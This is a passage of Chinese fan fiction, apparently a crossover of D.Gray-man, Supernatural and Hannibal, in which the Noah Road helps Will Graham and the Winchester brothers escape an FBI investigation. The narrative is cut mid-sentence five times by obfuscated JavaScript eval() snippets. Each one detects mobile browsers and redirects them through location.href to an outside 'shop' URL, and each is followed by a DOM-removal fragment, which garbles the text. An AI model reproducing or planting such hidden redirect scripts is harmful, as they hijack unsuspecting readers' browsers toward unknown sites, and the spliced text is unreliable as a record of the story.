罗德意识到，在她被封印的这几个世纪，「圣洁」发生的某些颠覆认知的变化——或者说是进化——让她不能再用过去的知识衡量一切。 萨姆有些忧虑，他消化着这些信息，也不知道自己是否能相信罗德的一面之词。可除了她外，他们也再无更多的信息渠道。 在这方面，他们能拿到的记录着实太少。 虽说装备型是对适格者影响最小的类型，可——他还是有种奇怪的预感。 从地狱到「圣洁」，从邪到正，怎么事事都是冲着迪恩去的呢？ “放松点，萨姆，我好得很。”迪恩这个当事人反倒很看得开，他把玩着自己的新装备，枪膛似乎被「圣洁」改造成了一种转化器，让普通的子弹在穿过枪膛的瞬间被改造成了一种「圣洁」子弹。 只不过，直观看上去只是弹头变了颜色，威力上似乎并没有太大的区别。 效果估计还是要在特殊生物上见分晓。 罗德站在他面前张开胳膊，露出自己的身体，“怎么样，迪恩——要不要试试你的新武器？” “不——不用了。”迪恩收起了枪，并没有对她下手的意思。 不知是于心不忍，还是另有原因。 “别这么死板啊，难道你不好奇「圣洁」武器的威力？有适格者的威力和刚才可不会是一个级别哦。”罗德比迪恩更好奇，刚才没有适格者定型的「圣洁」给她的感知并不确切，现在她倒是很想知道这种力量打在身上究竟和过去的「圣洁」有什么区别。 “不，我们不好奇。”萨姆假笑了一下，将注意力转回了倒塌的树下，他们还有工作没有做完。 和罗德说的一样，密苏里受到的影响并不算大。 说是昏迷，其实更像是疲劳过度后的昏睡——「圣洁」寄生带来的最初的感觉，应该就是疲劳。 不过，失去意识前的危险感刺激着密苏里的神经，生存的意志让她很快便强制开机，仿佛在噩梦中惊醒。 温彻斯特的兄弟的存在给她带来了一些不可多得的安全感。 她记得自己是如何被从家中绑架，也记得将她关押起来的地点，甚至还能回忆起一些和卡万神父谈话的细节。 但再往前回溯，她却不知道自己什么时候逐渐失去了对自我意志的绝对控制权。 “卡万神父，你确定？”萨姆问，“我以为你是被布瑞尔和赫斯佩鲁斯劫走的。” “我确定是卡万，”密苏里回忆着点头，“你为什么会觉得是那两个人？” “因为你家的茶杯是双数，你的访客记录上也写了他们俩的名字。”萨姆的结论是根据密苏里加里的发现而得出的。 谁知，密苏里只是摇了摇头，“不，我没有为他们沏茶、也没有来得及写访客记录。” 萨姆脸色一变，和迪恩对视一眼。 不是密苏里，那就只能是去密苏里家的人——神父卡万吗？ 他故意留下了那些指向威森和赫斯佩鲁斯的线索，为的就是将温彻斯特兄弟俩引入教堂。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12912574|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗德的眼睛一眯，他透过后视镜看着威尔额头上跳动的青筋。她意识到，不仅仅是威尔的状态很奇怪，他体内的「智」更加奇怪。 表现、影响甚至是力量。 完全处在一种不可控的状态。 如果现在罗德找到的是诺亚中的其他人——「愤怒」、「羁绊」甚至是「快乐」，有这样的换乱状态，她都不会惊奇。 但这是「智」，诺亚的理智与智慧的结晶。他的大脑和能力向来都是所有诺亚中最为条理的一个。 和威尔现在的样子，简直是两个极端。 那场大战一定对他造成了不可磨灭的影响，并且这个影响已经延续到了转生之后的现状。 “你的力量很奇怪。” 罗德将盲目的兴奋压了下去，靠在威尔的脖颈处嗅了嗅，一股人类和诺亚混乱的味道交织在他的力量体系之中，“威尔，你是不是……不能控制自己的力量？” 既然「圣洁」发生了某种变化，那是不是说明诺亚的转生问题或许也出现了某种异变呢？ 作为长子的罗德，不由自主地担忧起来。 “我……不知道。”威尔踩着油门不断加速，像是在笔直的道路上发泄着某些精力，“只是，几乎每个人的大脑都很吵，几乎每个人的意识都贫瘠得让人……” 他不敢说自己有多少次幻想着将吵闹的人扼杀在自己手中，那些充斥着血液、月光和鹿角的梦像是发泄着他清醒时无法完成的欲望。 “几乎？”罗德注意到他的用词。 既然是“几乎”，那就是说，有例外。 “嗯……我的心理医生，他——不一样。”威尔的情绪明显有了一个阶梯的缓和，“他的思维非常、复杂，而且——我不知道这样说合不合适——他的思维非常，宏伟。” 阅读意识和读心术并不是同一种东西，「智」的能力在于探寻意识的架构——由意识堆砌的大脑。 当然，如果完全了解一个人的意识架构，也就等于读懂了私人的意识模式，直观上看效果，和读心术的区别便不大。 这也是「智」的能力总被误解的原因，大部分人的意识都太容易看到底了——记忆和知识很难构建出严密的组织。 在医生之外，威尔从来没有见过哪个人的思维能够组建一座那样让人无法忘怀的宫殿。 他并没有真正踏入进去过，但只是玄关和外观就已经让他无比惊叹。 “那不是很好吗？”罗德并没有对家人的极致占有欲，缇奇也有要好的人类朋友，很多诺亚都会享受双面生活，“复杂的东西探索起来，才有意思啊。” 就像罗德自己，也喜欢探索更加复杂的梦。 “不，这是——非常不礼貌。”威尔拒绝滥用「智」的能力，这或许就是他现在如此煎熬的原因。 无法控制、又不想使用。 他心中有一条线，道德感和正义感正束缚着他——罗德能够清晰地感觉到这一点。 对她来说，这种感觉太熟悉了。 曾有一段时间，亚连·沃克也挣扎在这样的旋涡之中。 权力和自控的拉扯非常痛苦。 但这不是外人能够插手的——这是除了自己，谁也无法插手的事情。 罗德没有在这个问题上逼迫什么，而是主动退了一步，她的手指抚过威尔的眼睑，感受着手下之人的疲惫，轻声道：“如果需要的话，我随时可以帮你完成一个完美的睡眠。” 她相信，这才是现在的威尔真正需要的东西。 28.第 28 章 28 汉尼拔·莱克特，AKA攻陷了整个巴尔的摩上流社会胃的男人、优秀的心理医生、FBI名誉顾问，当然还有最重要的——切萨皮克开膛手。 他对自己所扮演的每一个角色都尽心竭力，享受着那种游离在危险边缘、操纵人心、嘲弄警察的感觉——就像BSU对切萨皮克开膛手的侧写一样，他绝对是个反社会，而且是个能够融入任何环境的高功能反社会。 对汉尼拔来说，环绕在他周围的每一个人都平凡得可怕，仿佛低级动物一样简单而无趣。 只除了一个人。 威尔·格雷厄姆。 他是不一样的，他第一眼看到对方就知道。 当他听到威尔的声音，听到威尔谈论切萨皮克开膛手的行为逻辑，汉尼拔心理的异样就达到了一个巅峰——从来没有人能够透过他的作品看到他的本质。 就在那一刻、就是那一眼，汉尼拔就知道，这个男人是不同的。 和周围的芸芸众生全然不同。 那隐藏在黑框下的危险眼神、那伪装在羊皮下的獠牙，让汉尼拔按捺不住想要撕扯他的皮囊，让他绝望、让他崩溃、让他血肉横流、让他黑暗流露。 威尔和他一样，是人群中无法融入的“异类”。 只是和他不同，威尔主动离群索居，给自己套上了世俗的枷锁，压抑着自我的欲望。 这实在是太可惜、也太浪费了。 那种独一无二的才能，让汉尼拔迫不及待地想要将那层枷锁和束缚击溃、让汉尼拔迫不及待地想要看到威尔·格雷厄姆羊皮下的獠牙。 即使被獠牙撕咬也是愉悦的。 这种精神上的博弈激起了汉尼拔前所未有的欲望，威尔就像是他的缪斯，让他的灵感不断涌现——不论是作为俗世意义上的他，还是更深层次的他。 切萨皮克开膛手用自己的方式回应着缪斯赋予的灵感。 自然，当这个“示爱”的过程被打断的时候，他也非常恼火。 夕阳酒吧那几近恐怖袭击的死亡数量和议员之子死亡给BSU带来了不小的政治压力，以至于威尔的注意力被迫转向了另外一个方向。 这无疑打断了汉尼拔的计划。 他本不介意这些奇事诡案，和威尔一起探索这些案子的过程非常愉悦。但，外事对威尔的优先级不应该置于他的作品之上。 汉尼拔不由得主动关注起这个案件，想要看看到底怎样粗鲁的人竟然擅自插足到他和威尔的博弈之中。 杰克的电话给了他绝好的借口。 一大早，他就带着自制早餐驱车一个多小时抵达了狼陷——威尔房子的所在地。 汉尼拔作为威尔的心理医生，比任何人都清楚他现在的混乱状态——这个状态对于他来说，实在太过勾人。 是万中无一的好征兆。 但是今天，狼陷的味道似乎有点微妙的变化。 汉尼拔轻敲大门，开门的人却和他想象当中完全不同。 “谁？” 这是小女孩儿的清脆声音。 没错，当然是罗德。 编织梦境的能力从各种意义上来讲，都非常有用。驱散威尔的噩梦，让他睡个好觉对于罗德来说，简直易如反掌。 甚至，威尔「智」的自我防御力都没有起到一点效果。 这就说明，「智」的能力本身就处在一种极度混乱和无序之中。 这无疑让罗德非常担忧。 “抱歉这么早打扰，我认为我在敲响威尔·格雷厄姆的家门？”汉尼拔在一瞬间的惊讶中并没有表露出一点失态，反而自然地接上了话。 “找威尔啊——他还在睡觉，”罗德认真地打量着风衣四件套、一脸精英相的汉尼拔，眼前这个人和温彻斯特兄弟简直是两个极端，“你，是莱克特医生？” “正是鄙人，请问你是——” “罗德，叫我罗德就好，我是威尔的家人。”她对这个威尔大肆赞扬的对象表现出了好奇，“请进。” 她侧身让汉尼拔进了门，毫不掩饰自己的视线，毕竟谁能责怪一个孩子的好奇呢？ 汉尼拔略带歉意地表示打扰，他将手上的饭盒放到桌子上，视线不动声色地飘向了楼梯——二楼是威尔的卧室。 狗狗们都安稳地卧在几个狗窝里，吐着舌头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924066|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的样子显然是才刚刚运动过回来。 这说明威尔的狗已经被遛过了—— 威尔养的是看家狗，他花了大量的时间在狗狗身上，训练很足。陌生人是不可能把狗狗们领出去的。 而罗德这个体型想要同时遛这么多狗，至少说明，这些狗狗对她很熟悉——否则怎么会这么听她的话呢？ 威尔的睡眠很差，如果动静大的话，他必然会醒过来。 汉尼拔在心里默默评估着这个“威尔的家人”。 他不喜欢威尔拥有任何羁绊，和普通人的世俗联系会降低威尔的敏锐，也有概率让他稳定下来。 这不是汉尼拔想看到的。 他需要保证威尔是一座孤岛，这样他才能成为孤岛的唯一主人。 “威尔很少提到他的家人。” “是吗？”罗德坐在椅子上摆弄着自己悬空的腿，“那很正常啦，我也没想到还有再见的一天。该怎么说呢——世事无常？” 她没有给汉尼拔继续追问的机会，手肘压在桌子上，前倾身体，“威尔没有提到过访客，莱克特医生这么早来做什么呀，不会专程来送饭的吧？” 她视线下移，扫过还冒着热气的饭盒。 即使隔着密封条的包装，她还是能闻到餐食的香气。 这是一般医患关系中会发生的事情吗？ 罗德有些尖锐的语气没有让汉尼拔慌乱，他从善如流，“请原谅我的擅自到访，杰克很担忧威尔最近的状态，他打给威尔的几个电话都没能接通，但他也抽不出足够的时间跑一趟狼陷，所以便拜托了我。作为威尔的朋友，我也希望能至少保证他的饮食健康。” “啊——刚才那是威尔上司的电话啊。”罗德从口袋里掏出威尔的手机来，上面显示着一排都是相同的号码。 但很可惜，威尔似乎并没有备注联系人的习惯，“我听着吵，就挂掉了。” 汉尼拔的眉头微皱。 手机是相当私人的东西，随意翻看和使用都是相当粗鲁的事情——即使是孩童来说，这也是相当不礼貌的行为。 但像罗德这个年纪的小孩，应该没有名片这种东西吧？ 29.第 29 章 29 威尔·格雷厄姆隐约听到一阵骚动，惊动了他的浅眠——不是声音上的骚动，更像是一种直接刺激着大脑皮层的骚动。 他迷迷糊糊地睁开双眼，外面是个难得的晴天。 当然，难得的并非是晴天，而是威尔一睁眼，竟然就已经是晨曦之后。 枕头上隐隐带着一些汗渍，昨晚的梦威尔已经记不清楚，但隐约觉得有一双手一直在抚摸着他的额头。 这应该就是罗德能力的一种表现，她很懂得把握分寸，只是使用了一种精神抚摸，而非是强制干预。 否则「智」这种同样处于精神领域的力量再加上威尔的性格，本能地就会对抗，这样对精神的消耗会让他更加疲惫。 就像是现在，即使是半梦半醒之中，他都能感受到楼下的某种精神骚动。 是罗德？ 威尔带着仍有些沉重的大脑下了楼。 狗狗们首先感受到了他的到来，摇着尾巴排排坐在楼梯口。大开的窗户外吹进来了些清晨的凉气，迅速风干了他皮肤上的潮气。 “睡得好吗？”罗德坐在餐桌上，双脚悬空晃荡着冲威尔wink，“好梦？” “没有梦就是最好的状态。” 对于威尔来说，完全空白的睡眠才能算作是休息。 昨夜虽说不能算作完美，但绝对是他近一个月来，神经最为放松的一夜。 “早上好，威尔。” 熟悉的声音让威尔抬起头，他看到了一个意料之外的人。 “莱克特医生？” 威尔的声音有些干涩，没有黑框遮挡的眼睛带着一层晨起特有的水雾。意识还没有完全苏醒，手就已经摸到了旁边温斯顿的狗头上。 “很抱歉在这个时间拜访，但杰克非常担心你的状态。” “担心我，还是担心我给不出他想要的答案？”威尔的语气有些尖锐，他非常清楚自己的顶头上司杰克是个什么样的人。 并不是指摘些什么，作为一个FBI的探员、作为的BSU的BOSS，威尔几乎很难找出一个比他更加称职的人，但当这个人作为自己上司的时候，就是另外一种感觉了。 汉尼拔不置可否，“案件的压力确实前所未有，杰克至少接到了四个不同的电话催促进度。” “……再催也没有用。”威尔顺着汉尼拔拉开的椅子，坐了下来，“杰克不会喜欢我的答案。” 他这样说，汉尼拔就很好奇了。 “我可以询问一下原因吗？” 威尔连头都不抬，开口就说，“他想要的‘犯人’，已经死了。” 汉尼拔开饭盒的手都停了下来，眼神贴着威尔的T恤爬到了他垂落的睫毛上，“哦？为什么这么说？” “发生在夕阳酒吧里的，是互相残杀——杀人者、被杀者，都在酒吧之中。”威尔接过罗德递来的牛奶，透过玻璃的反射看到了对方饶有兴致的眼神，不由地暗自翻了个白眼。 昨夜，罗德就已经告诉了他。虽然火不是她放的，但酒吧里的每一个人都是死在她的手下。 当然，那些也已经不能称作是人，而是吸血鬼。 罗德是杀手这件事，倒不令人意外，他早在踏入酒吧的第一个瞬间就知道了这件事——这倒不仅仅是因为罗德诺亚力量的残留。 威尔是一名侧写师——在他体内的诺亚觉醒之前，就已经是了。 他奇特的大脑给他带来了异于常人的共感能力，但依然——他的工作需要大量的理论知识和技术经验。他本身就拥有极强的观察力和反应力，这使得他站在犯罪现场时，能够迅速接收大量的信息，用以还原现场。 不论是共感，还是杰克口中“进入凶手大脑”的能力，都需要建立在这些基础之上。 火焰确实破坏了现场，但威尔还是在蛛丝马迹里还原了杀人过程——大量同时的斩首和互相撕咬；那些残留在尸骨上的灼烧痕迹，也未必都是来源于最后这场大火，斩首的过程本身便伴随着灼烧。 人类是很难做到这点的。 诚然，喷火焊枪在某种意义上都可以达到这样的效果，但想要同时对整个酒吧的人做同样的事情，就一定得是点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954919|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 超越常理的力量。 诺亚是威尔唯一能够想到的东西。 和温彻斯特兄弟这两个超自然猎人不同，威尔是FBI——一个生活在常规世界的FBI。 事实上，他现在还在缓慢接受“关于一切认知当中的怪物几乎全都存在”这件事，但他知道，他必须尽快给杰克一个答案。 且不说他不会把罗德供出去，就算真是供出去了，杰克这样的人，也是绝不会相信“超自然力量”这种鬼话的。 甚至，威尔都怀疑，即使自己真的把超自然力量摆在杰克面前，对方都会用科学的方式挣扎一下。 “但警察公布了两张肖像画。”汉尼拔试探了一句。 他虽然简单跟进了一点案件内容，但因为并未受到实质性的邀请，以一个心理医生的身份主动介入调查就显得别有所图，所以他对案件细的了解实际上并不详细。 他就是在等今早杰克的电话，他有了借口介入威尔和案件之间。如果没有罗德的话，以威尔的状态，他便可以礼貌地提出开车送对方到案件现场。 接下来的一切也就是顺理成章的事。 只是这一次，汉尼拔清晰地感觉到，这个被高高抬起的案子，在被威尔有意识地轻轻放下。 “不是嫌犯，是知情人，或者说是潜在的目击证人。”威尔仔细地强调了温彻斯特那张不算通缉令的通缉里的用词，“我并不认为他们是杰克想要寻找的人。” 汉尼拔颔首，并没有继续追问下去，而是把饭盒推到了威尔的面前，“但这样的话可不能让那位议员满意。” 这个案件本身最麻烦的地方在于，当晚死在那里的人，有一个权贵之子。 “不，我认为议员会接收呢。”罗德笑眯眯地说道，“真相就是真相嘛，谁会不接受威尔的结论呢？” 即使是议员不接受，罗德也可以帮他接受。 又不是什么难事。 当然，若论对人类记忆、认知和大脑的改造，实际上「智」会更加擅长。不过——这也是给温彻斯特兄弟擦屁股呢，罗德很愿意代劳。 30.第 30 章 30 和威尔想的一样，杰克不喜欢他的答案。 “没有犯人？这就是你的结论？”杰克皱着眉，原本就严肃的脸看上去更加苦大仇深，“那两个嫌疑人呢，不论是他们出现的时间还是契机都非常可疑。” “我一开始就告诉你了，杰克。他们是潜在相关者，但可能不是凶手。” 说起这个来，杰克也很莫名，“就因为他们‘不像’凶手的样子？” “是。”威尔的回答也很是理直气壮，“你把我叫回BSU，不就是要让我‘看’吗？” 杰克的脸色很差，让他原本就是黑皮肤的脸看上去更加暗沉，他似乎还想说什么，可突如其来的电话却打断了他。 来电显示的名字是个不容杰克挂断的名字。 “我们之间的谈话还没结束。”他匆匆说了一句，便转身走远几步接起了电话。 看着杰克远去的背影，一种似曾相识的感觉在威尔记忆当中涌现，诺亚的力量抽动着他的神经，让他没来由地一阵头痛。 汉尼拔的手按在威尔的额头上，非常专业的手法很快缓解了他的不适。 “你的头痛越来越频繁了，作为一名医生，我强烈建议你进行专业的检查。” “心理医生。”威尔小声嘟囔了一句。 不过，这么近的距离，汉尼拔当然听到了他的声音。他似乎并不介意威尔的冒犯，“虽然没有在神经内科工作过，但我在医学院里一直保持着优秀的成绩。” 威尔隔着眼镜睨了他一眼，却并没有再开口。 “如果你不介意，我倒是有一些在医院工作的朋友，可以帮你预约检查。” “谢谢你的好意，莱克特医生——但是不用了。”威尔退开一步，他很难判断自己的头痛症状是生理原因、心理原因还是诺亚原因，如果不适来源于超自然力量，那做多少检查都没有用。 而且，诺亚的力量在一定程度上会影响人类的遗传因子，检查本身对他来说也是个危险的活动。 他现在还在发愁年底的FBI体检。 汉尼拔没有继续推进这个问题，反而是转向了另外一件事，“关于那两个‘相关者’，你对他们的清白似乎非常确认。” 威尔移开了视线，“所以——？” “想要确信一个答案通常非常困难，不论是肯定的答案还是否定的答案。特别是……在现有的条件下。” 那所谓“相关者”的情报极少，少到了只有几句证词、一张根据几段口述记忆画出来的肖像，这些线索无论如何也到不了可以得出结论的地步。 诚然，在这种情况下杰克也不能得出这两人便是凶手的结论。但威尔的答案显然更加果断，果断得有些急躁了。 “这就是我的工作，不是吗，莱克特医生。” “当然。” 杰克在此时返回，手上还拿着挂断的电话，迟迟没有离开通话记录的界面，像是有些无法相信，有些奇怪的眼神落在威尔身上。 “怎么了？”威尔问。 杰克抬眼，把手机放回口袋，“你和别人说过你的结论吗？” “……只有你和莱克特医生。”他从善如流跳过了罗德这个知情人。 他想，汉尼拔应该也不会在这里提出异议，毕竟罗德至少在肉眼看上去，还只是个不谙世事的孩子。 杰克的视线掠过汉尼拔，落在威尔身上，“我刚才接到了一个奇怪的电话，来自那位议员——他，不再追究任何案件细节，坚定地表示会相信你的判断。” 虽然没有了政治压力是一件好事，但这通电话怎么想都充满了怪异。 “我？”威尔指着自己，他的疑惑一闪而过，却很快意识到了症结所在。 只能说，罗德做事是真的没有前摇，也不考虑任何后果。 威尔根本不知道该如何接话，杰克的眼神压力自不必说，旁边汉尼拔探究的眼神却更加微妙。 他真应该好好和罗德对一下“答案”，议员即使相信，相信的也应该是杰克和BSU的判断，而非是威尔·格雷厄姆。 他还没有出名到这个地步。 所幸，贝芙丽的出现给了他一口喘息的机会。 “杰克！”她快步走上了上来，“克代尔警探的电话，他希望你赶快到警局一趟，马上。那两个人——你‘嫌犯画像’的主人——他们到警局去了。” “什么！？”杰克瞪大了眼睛，注意力一下子就被拉了过去，暂时忽略了那个奇怪的电话。 自投罗网？ 当然不是。 迪恩和萨姆心里的复杂情绪一点也不比杰克少，兄弟俩从来没有想过，他们也会有主动“投案”的一天。 “这真的太蠢了。”迪恩小声地在萨姆耳边吼叫。 萨姆也和他一样坐立不安，门外还守着两个警察，似乎是在防止他们中途离开——或者说，逃离——但是他绷住了表情，“放松，迪恩——维克多*应该消了咱们俩的档案，区域性犯罪不会让BSU对我们的脸有印象。” 否则，放在电视上的就不会是素描肖像，而是照片了。 （*维克多就是维克多·亨德里克森，以前调查温双的FBI，已经寄了。） 迪恩一抹脸，“提醒我一下萨姆，我们到底是为什么自投罗网来着。” “如果不想真的被通缉，这是唯一的方法。” “为什么，因为她这么说了？萨米，你真的相信罗德那个崽子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985834|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “迪恩，她有理由骗我们吗？” “但——” “有人来了！” 兄弟俩瞬间调整状态，非常默契地正襟危坐。 门从外面被拉开，杰克率先走了进来，威尔和贝芙丽都跟在他身后。 但或许是因为一些规章制度或是些其他的原因，汉尼拔并没有进到这里来。 “我是杰克·克劳福德，BSU的负责人。” “我是迪恩，迪恩·韦德。这是我弟弟萨姆，我们看到了新闻——嗯，我们两个好像被，通缉了？”迪恩站了起来，和杰克友好地握手，“你们得是在开玩笑——是的，我们之前确实有路过这里，但我们在这里停留的时间甚至不到一天，只是休息了一下，给我的宝贝车加了个油、买了点东西，然后就走了——你们不能因为这个就通缉我们。” 他甚至是用的是现金，而不是信用卡欺诈。 “确切地来说，新闻上说的是‘相关者’而不是通缉，但——我们还是很不安。”萨姆接上了迪恩的话，“我叔叔吓坏了，他们以为我们做了什么可怕的事。” 杰克仔细地观察着眼前的一对兄弟，他们的神色坦然——哥哥的表情有些严厉凶狠，弟弟则看上去更加温顺，眉宇间有些难掩焦虑。 但这都是正常人该有的情绪，杰克坐在这个职位上的时间不短，各种类型的犯罪者他也见过不少，经验带来的判断力绝大多数时候，都相当准确。 更重要的是，如果是真犯人，恐怕不会这样自寻死路。 不知不觉，他也接受了一部分威尔先前的判断。 而威尔也是毫不客气地在他身后小声说了一句，“I told you so。” “抱歉，只是一点程序上的问题——”杰克没有理会他的挖苦，“我需要你们两个做一份笔录，就像新闻里说的，你们可能看到过一些你们自己也没有注意到的线索。” 他完全没有使用疑问语气，笔录是必须要做的。 兄弟俩对视一眼，萨姆率先开口，“当然，现在就开始吗？” “越快越好——”杰克点头，叫来了当地警局的警探，示意他来做这个工作，“还有，威尔——你也一起。” “我？” 杰克背过身去，压低声音在威尔耳边，“我需要你的判断，最后确认一次。我会让贝芙丽采集他们的指纹比对，她在现场提取出不少指纹痕迹。” “我不认为我的结论会有所改变。”威尔的手指在口袋里不自然地搓着，声音却没有因为紧张而底气不足。 杰克没有注意到他异常，只是严厉地吩咐，“那也要再确认一次，如果确实，就把他们的笔录带回来给我，我会重新考虑你的报告。” 31.第 31 章 31 所谓一回生、二回熟。 对于温彻斯特兄弟俩来说，不论是警局还是FBI，都委实不是什么陌生的地方和人。 做笔录——尤其是做有准备的笔录，对萨姆·法学院入学考试174高分·斯坦福大学全额奖学金获得者·温彻斯特来说，简直不能更容易。 唯一让他有些紧张的，就是威尔·格雷厄姆。 不是萨姆自作多情，但他和威尔在一年多前的斯坦福大学才刚刚近距离接触过，甚至交换过一些犯罪学专业的意见。 他现在用着假名，未免有些做贼心虚。 要是在这里被戳穿了，那可真是无处可逃。 迪恩回答着警探的问题，萨姆则是持续注意着门外的威尔——后者似乎正和一个FBI的女探员交流着什么。 凭借自己良好的视力，萨姆意识到女探员应该就是刚才的黑人FBI所说的贝芙丽。 采集他们兄弟俩的指纹。 虽说维克多给他们俩的档案标注了死亡，但指纹…… 不知道联邦数据库里会不会把死亡的嫌疑人指纹清除出去。 还不等他思考出什么对策，威尔便推门走了进来，但奇怪的是，女探员并没有跟进来。 “……就像我说的，我们离开这里的时候，一切正常。没有火、没有死人，那里非常正常，我买了一打啤酒存货，萨姆要了杯果汁——没错，He’s a girl。而且总要有人开车，我们都是守法好公民，不会醉酒驾驶的。” 威尔沉默地站在桌侧，眼睛快速掠过笔录内容，抬到了兄弟俩身上。 “Hi，探员大人。”迪恩主动和他打着招呼，身体自然地前倾，阻碍了对方的视线，尽可能地将萨姆藏了起来，“还有什么问题？如果没有的话，我们还有工作要赶、还有午饭要吃——God，天知道我开了几个小时的车，只吃了一个脆脆鲨。” 威尔额前的碎发有些长了，但半遮半掩的视线仍然不减锐利。一瞬间，迪恩有一种从内到外都被看穿了的错觉。 这是以前从未有过的事情。 这让他顿时有些坐立不安，不自然地挪动了一下屁股，踩在地上的脚用力，仿佛已经做好了随时动手的准备。 ——动手，迪恩都不知道自己为什么会有这种冲动。 他故作轻松地开口，“探员大人，你得知道，上一次有人用这种小眼神儿看我的时候——干柴烈火。” 萨姆无语地在后面掐住了他哥不合时宜地幽默。 但奇怪的是，威尔什么都没有说，仿佛没有察觉迪恩的紧张，甚至没有多问一句话。只是挪开了专注的视线，从口袋里掏出了两份质问采集卡。 “额——我们，”迪恩抬手搓了搓自己的手指，开始心里祈祷自己这个玩偶身体的指纹不要那么一比一，“我们兄弟俩一起，所以——一个人的指纹就够了吧？” “杰克说了是两个人，就是两个人。”威尔说着，抬头看了看门外，仿佛是在确认贝芙丽的行踪。 接着便将两张指纹卡推给了警探和警探身边的记录员。 在迪恩和萨姆诧异的视线下，这两个人将自己的指纹印到了标有他们俩名字的指纹卡上。 萨姆仔细一看，便意识到不论是威尔还是两位警察，眼里都有隐隐闪烁的金光。 “嘿，迪恩——” 他推了推旁边的迪恩，示意他注意对面三人的眼睛。 迪恩的眉毛上下跳动了几下，“哇哦——罗德还真是专业。” 他们俩似乎把眼前三人的异常都当成了罗德的小花招，没有再深究。 威尔都不用刻意去共感都知道这兄弟俩在想些什么——这样的误会也未尝不是件好事。 在理清楚自己的问题之前，他也不想和第一使徒千年伯爵的后裔扯上什么关系。 总而言之，皆大欢喜。 不被通缉对温彻斯特们来说总是好事。 再有一个亨德里克森探员跟在他们屁股后面可就麻烦了——轻则蹲大牢，重则要牵连这些FBI被卷入超自然的危险里。 留下了联系方式，不论是警局还是FBI也没有阻拦两人的离开。 警局门口停着的Impala里，不知什么时候回来的罗德正趴在窗户上。她和站在警局门口的威尔交换了一个短暂的视线，但两个精神系能力的眼神交换可从来不会像是肉眼看上去的那么短暂。 “怎么样，问题解决了吧——”罗德心情格外地好，语气都上扬着欢乐，“还真觉得我只会杀人了事？” “这就是你突然消失的原因？”迪恩半信半疑，直觉的警报在大脑中不仅难以消除，反而愈演愈烈。他踩下油门，Impala的红色尾灯一点没亮，很快消失在小镇中。 罗德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022093|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反问，“怎么，不可以吗？” 可以，但是太奇怪了。 萨姆抿着嘴，心里有点不一样的猜测，“你在方舟里的表现，我还以为你是在寻找同族。” “对呀，就是因为要寻找同族，所以才需要解决掉你们两个的潜在风险，”她的话张口就来，“这样你们才能更好地给我效力。” “即使我们现在因为种种原因一起行动（work with you），也不意味着我们给你效力（work for you）！”迪恩认真地指出了这之中的区别，“我们完成萨姆和你的契约，就只是这样——等结束了就赶紧分道扬镳。” 罗德撅了噘嘴，非常做作地擦了擦眼角不存在的眼泪，“真冷漠啊，我以为我们现在关系可好了呢。” “没有，完全没有。” 迪恩·全身上下嘴嘴硬·温彻斯特非常果断地否了罗德虚假的委屈。 “啊——我受伤了。”罗德捧住了自己的胸口，“你这个负心汉。” 萨姆无奈地扶额，看这两人的对话，总有一种看小学生拌嘴的微妙感。 “不论如何，谢谢你，罗德。”他认真地说道，“For everything。” 罗德喜笑颜开，本就愉悦的心情再上一个台阶。 “听听，你弟可比你懂得感恩多了。” 她一巴掌拍在迪恩的肩膀上。 可就是这普通的一巴掌，迪恩的身体却突然毫无征兆地歪了下去。 